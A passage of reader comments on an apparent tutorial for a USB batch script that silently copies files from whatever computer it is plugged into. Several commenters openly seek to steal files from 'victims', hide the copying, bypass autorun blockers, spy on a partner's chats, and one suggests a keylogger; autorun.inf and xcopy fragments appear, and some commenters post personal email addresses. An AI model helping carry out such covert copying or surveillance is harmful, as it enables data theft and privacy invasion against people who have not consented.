    This was very helpful. I have read every single comment on this thread and my autorun.ini still won't work properly. It won't even show an ok box. I have tried to google this along with other things similar and I can't get it to come up. To get it to work, i have to go into the usb root, click on the actual batch file to get it to run, it does work that way, I was just hopeing there would be a way to get it to click ok and run. this is currently where i've edited it to.

    [autorun]
    open=launch.bat
    action=Click OK to Run
    shell\open\command=launch.bat

    it said the icon was optional so i left it out and i left the shell in because when i tried to take it out, it had no effect.

    my launch.bat and my invisible.vbs are exactly as stated in the main example. the only thing i truely edited is the file.bat in order to change which files to backup. I don't beleive this has any effect on the auto run, but i'll add this just in case it does.

    ReplyDelete
  149. Thatoneguy

    disregard my above comment, i'm an idiot... I was tired when I wrote that. Sorry.

    ReplyDelete
  150. wanna ask how to automatically save a powerpoint file that is opened from a thumbdrive and save it to your computer. meaning if your friend opens his file from his usb on your pc without copying it, how do you make your pc automatically save the file? this would be very helpful. thanks.

    ReplyDelete
  151. Is there a way to avoid seeing the error message from windows when you unplug the USB drive BEFORE the copying is finished?

    ReplyDelete
  152. I want to copy a folder thats around 4gb in size. How will I come to know that the transfer is complete. And will this trick work if I use a portable hard disk instead of a flash drive.

    ReplyDelete
  153. what i do to see if it's still copying is I open task manager and it will say something like copyx and if you see that, it's still copying, also for the powerpoint thing, you can look in your temporary appdata file before you turn off or restart the computer, it should be there

    ReplyDelete
  154. where is the temporary appdata file?

    ReplyDelete
  155. is there a way to stop it from copying programs
    i want it to copy all files in my documents but it does the programs first and that takes up all my space on my usb

    ReplyDelete
  156. how to do this is Linux....please help me.

    ReplyDelete
  157. its %appdata% and try putting the folder u want to copy first at the top of the list. idk if that will work but try

    ReplyDelete
  158. please is it realy working in windows 7
    i have tried several times and is not working for
    me my email is aubertolivier22@yahoo.com please give me detail information

    ReplyDelete
  159. What command do i write in if i want to take all the files in the my received files folder?

    ReplyDelete
  160. what language are you coding in?

    ReplyDelete
  161. Ok I'm not very skill at this so pease forgive my uneducated question.

    "To copy all PDF/Word document on a drive, just specify the drive letter, such as

    "D:\*.pdf"
    Should this contain any other command information tomake it work such as
    "%backupcmd% "%USERPROFILE%"
    Thanks in advance

    ReplyDelete
  162. AS a follow up to the previous question. I just need to know the full command where it should be inserted to grab all PDF files.
    Thanks Again

    ReplyDelete
  163. hey
    its not work on windows 7?
    because win7 does not open it as a auyorun?So what wo do?

    ReplyDelete
  164. how to steal the data to using the robocopy via usb on windows 7?

    ReplyDelete
  165. Does anybody know how this can be set to copy from an SD Card inserted into the computer to a USB drive inserted into the same computer?

    ReplyDelete
  166. Alright, autoruns (since Vista) do not work on SD cards/USB Drives. On another note, if you want an EXE, just google bat to exe convertors. the invisible.vbs cant be converted, though

    ReplyDelete
  167. I need some help! My friend who uses my computer is cheating on me on Facebook.He hides his password,so I can't check his page anymore.He spends hours at night with someone.How can I set up a program where I can view/record their chat without arousing suspicion,or causing problem to him whenever he gets on or log in to Facebook? Your help will be deeply appreciated!

    ReplyDelete
  168. %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"

    hey i want to ask that when the data is copied from pictures folder of the userprofile


    into


    the all folder, is there a coding to make the folder hidden so one doubts and checks the folder. <<<plz reply to my post starting with ""TO SMITH""

    ReplyDelete
  169. How can this be used when there are other computers on a home network that you want to grab files from?
    In Other words ,plug into one computer and access all computers on the home network.

    ReplyDelete
  170. I tried all but I'm not able to copy files from the sub folders. Can you please help me out in this one. Can you give me the command which also takes the files from the sub folders also. Consider as little urgent... pls

    ReplyDelete
  171. The file doesn't run automatically until i clicked launched.bat. what can i do? email to tevitaf2545@gmail.com

    ReplyDelete
  172. is there a way to save the files into one big hidden folder?

    ReplyDelete
  173. some one using my notebook. i want to no what they typing in the screen. how can i get that in secretly as a saved file pls some one help me.

    ReplyDelete
  174. how to add autorun.inf ? it is not getting added on mhy flash drive

    ReplyDelete
  175. flash drive ????????/ is is pen drive [usb]?

    ReplyDelete
  176. king- install a keylogger

    ReplyDelete
  177. What if I wanna take files from a usb into my computer? For instance someone uses my laptop and then i copy their usb files when they connect it into my laptop.

    ReplyDelete
  178. when i copies the fles in the computer and plugged into my pc to check it nothing occurs

    ReplyDelete
  179. works ok for me but 3 little questions:

    1 how can i choose a specific file size? (not to much junk and wasted time...)

    2 can i use a path fo network drives?

    3 is it possible to give a little notify when process is done?

    ReplyDelete
  180. ^^ These options are not possible with the XCOPY command but some of these are possible with ROBOCOPY.

    I'll see if I can replace XCOPY with ROBOCOPY in the script.

    ReplyDelete
  181. can you explain the "set odrive" line? I don't understand how that works and I haven't found a good explanation via google.

    ReplyDelete
  182. how do i run it? do i just plug it into the victims computer and open the usb and run each of the 4 files one at a time?

    ReplyDelete
  183. what is root of flash drive ?

    ReplyDelete
  184. is there a way to make it run once inserted instead of click to launch

    ReplyDelete
  185. Can i use a path of a network drives?

    ReplyDelete
  186. Why don't you try it and tell us if network path works?

    ReplyDelete
  187. Great little program Kaushik, thanks!

    The only thing that doesn't seem to work is the "invisible" part, I always get the CMD box.

    (Windows 7 - 64bit)

    Sorry if I missed a comment, but I believe I read them all, at least all of yours (and some that seem to be repeated over and over and over again!!)

    Thanks again!

    ReplyDelete
  188. hi there i had to give a statment regarding an accident. i typed it out and was going to print it out for the statement taker to take away with her. however my printer was out of ink and the library shut. long story short; i gave her my usb-pen-drive to plug into her laptop and directed her to the folder where the file was but whilst i sat across from her she backed out of that folder and opened a personal powerpoint containing critical data; this file now shows its been accessed on that same date "i know i haven't!" (but it also shows 00:00 for the time as it does for all files on my usb drive no matter what date it was accssesed) in other words access dates are right on all files but time is 00:00.

    my problem is when i meet with her next i would like the right script that will search her drive for my file; copy it back to a folder on the pen-drive (so i can confirm to myself they stole my file) and mainly delete the copy on her drive (STELTHLY).

    the other question i have is "is there away to find out if the file was copied from my pen-drive in the first place. Maybe using some sort of software or script" because Windows "propeties" just shows "Last Accessed" but no info indicating the file has been copied.

    can you help?

    ReplyDelete
  189. What if there's an autorun blocker? How can we override it?

    ReplyDelete
  190. yo the data im trying to copy is located within a usb that plugs in on my "friends" computer could i set target as the specific USB as Removable Disk (g) or whatever it would be in the said computer? answer promptly please i want to learn a bit more about this actually could you possibly e-mail me at hamper10@aol.com ?

    ReplyDelete
  191. thank u very much kaushik Bhaiya !!!
    It works very fine but the only problem wid me is that i have to double click the .bat file to start copying , every time i insert the USB in any computer...
    Is there any way to launch this program automatically ( like click and run)
    as some commentators here r talking abt autorun command ....
    Please Answer to my question by starting it wid ( @sumit singhal) so that i need not check each and evry comment to get my answer ...
    Thank u vry much in advance ...

    SUMIT SINGHAL

    ReplyDelete
  192. Man this aint working with autorun. Need help in .inf what does action mean? An example would be welcome.

    ReplyDelete
  193. For those that Autorun ISNT working for...its been already said that The Autorun function does not seem to work on newer OS's..i noticed with the Autorun that if you leave the Icon segment of Script in, your USB drive icon does not appear..when you take that part of the script out...the original icon re-appears..so the Autorun file technically works...but the OS is preventing it from doing its original job.. so as of now, were stuck using the launch file directly..and the window only pops up for a half a second!..which is not bad considering what this little program is doing for you..be grateful..

    ReplyDelete
  194. I agree, be thankful Kaushik has done this much..theres too many repeated questions..read the other comments and potential answers before posting..

    ReplyDelete
  195. please need HELP did you fgure out this yet
    "Is it possible to do the following with this whole set up:
    I have all of the steps 1-5 done and saved on a usb #1(usb1).
    I want to be able to have this copy files that are on another usb...say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

    Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

    Also, am I able to have it so the command prompts just says something like "USB connected" (then all they have to do is click on "ok"? to have the copying process begin)

    One more question: with the copying process, is it possible to have it run in the background so that it isn't visible to the user on the computer?

    "

    ReplyDelete
  196. It works great on "normal" folders, but it won't copy anything from recycle bin. Did someone try this?

    ReplyDelete
  197. Where do I have to type this "/h" thing to make it invisible folder that the victim can't see the folder? please tell me :(

    ReplyDelete
  198. hello everybody, i want to " steal" word file with the name "book" from a laptop. I want to search in all the laptop.
    Can you help me please ?
    Sorry for my english

    ReplyDelete